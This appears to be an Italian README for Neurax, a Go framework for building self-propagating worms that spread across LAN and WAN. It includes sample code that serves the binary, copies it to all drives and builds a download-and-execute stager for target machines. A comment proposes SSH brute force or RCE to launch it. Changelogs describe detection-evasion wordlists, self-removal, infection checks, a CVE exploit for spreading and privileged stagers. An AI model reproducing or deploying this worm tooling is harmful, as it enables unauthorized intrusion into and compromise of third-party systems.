Un framework che aiuta nella creazione di software auto-propagante
Panoramica
Con l'aiuto di Neurax, i binari Golang possono diffondersi su LAN/WAN senza utilizzare server esterni.
Varie opzioni di configurazione e stager di comandi consentono una rapida propagazione attraverso diversi ambienti wireless.
Codice di esempio
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
Novità nella v. 2.X (sottoprogetto separato)
- Refactoring: abbandonato l'approccio simile a un framework in favore di un binario pronto all'uso
- Stager wget generico per tutti i target UNIX
- Singolo file di configurazione per modificare il comportamento del worm al volo
- Rimozione automatica tramite
unlinkat(2)
- Esempio di exploit CVE per LinuxKI per integrare le capacità di diffusione in rete
- Il file di configurazione JSON viene scaricato e valutato
- Riscrittura minimalista del raccoglitore di host
Novità nella v. 2.5
- Esecuzione in background opzionale del binario di secondo stadio (
N.StagerBg)
- Lo stager di comandi salva ed esegue in un percorso locale al contesto
- Rimuove anche il binario scaricato subito dopo l'esecuzione riuscita
- Rimosso il meccanismo di esecuzione sincronizzata dei comandi per motivi di velocità/stabilità. Troverò un'alternativa decente prima della prossima release.
N.NoInfectCheck per disabilitare il controllo se l'host è già infetto.
- Politica di esecuzione singola sulla macchina target, imposta con un mutex esclusivo di file all'interno di
NeuraxServer().
- Aggiunta una goroutine annidata per servire il binario
- Nuovo stager
httrack per Linux
- Wordlist comune commentata per eludere il rilevamento
- Lo stager di comandi può attendere prima di rimuovere il binario (
N.StagerRemovalDelay)
Novità nella v. 2.0
- Nuovi mutatori di wordlist + password comuni per paese
- Scansione passiva improvvisata
- Opzione
.FastScan che rende le scansioni attive un po' più veloci
- Le wordlist vengono create rigorosamente in memoria
NeuraxScan() accetta una funzione di callback invece di un canale come argomento.
NeuraxScan() esegue la scansione in un ciclo infinito con possibilità di impostare l'intervallo tra ogni scansione dell'intera sottorete/pool di target
- Reverse-DNS lookup per target che non sono in formato IP
- Estrazione di candidati target dalla cache ARP
- Possibilità di scansionare solo un elenco selezionato di target + dare priorità a target specifici (come i gateway predefiniti)
- Possibilità di specificare interfaccia e timeout quando si utilizza la scansione di rete passiva.
- Stager di comandi migliorato (può essere eseguito opzionalmente con privilegi elevati / più volte)
- Pochi cambiamenti nei nomi delle opzioni
NeuraxConfig. è diventato N. (perché è più breve da digitare)
- Funzioni per allocazione casuale di memoria + migrazione binaria
- Possibilità di concatenare più stager (es.
wget + curl)
- Volume e complessità della wordlist creata possono essere facilmente ottimizzati (con opzioni come
.WordlistExpand)
- Possibilità di impostare il time-to-live del binario creato
Elenco delle voci di configurazione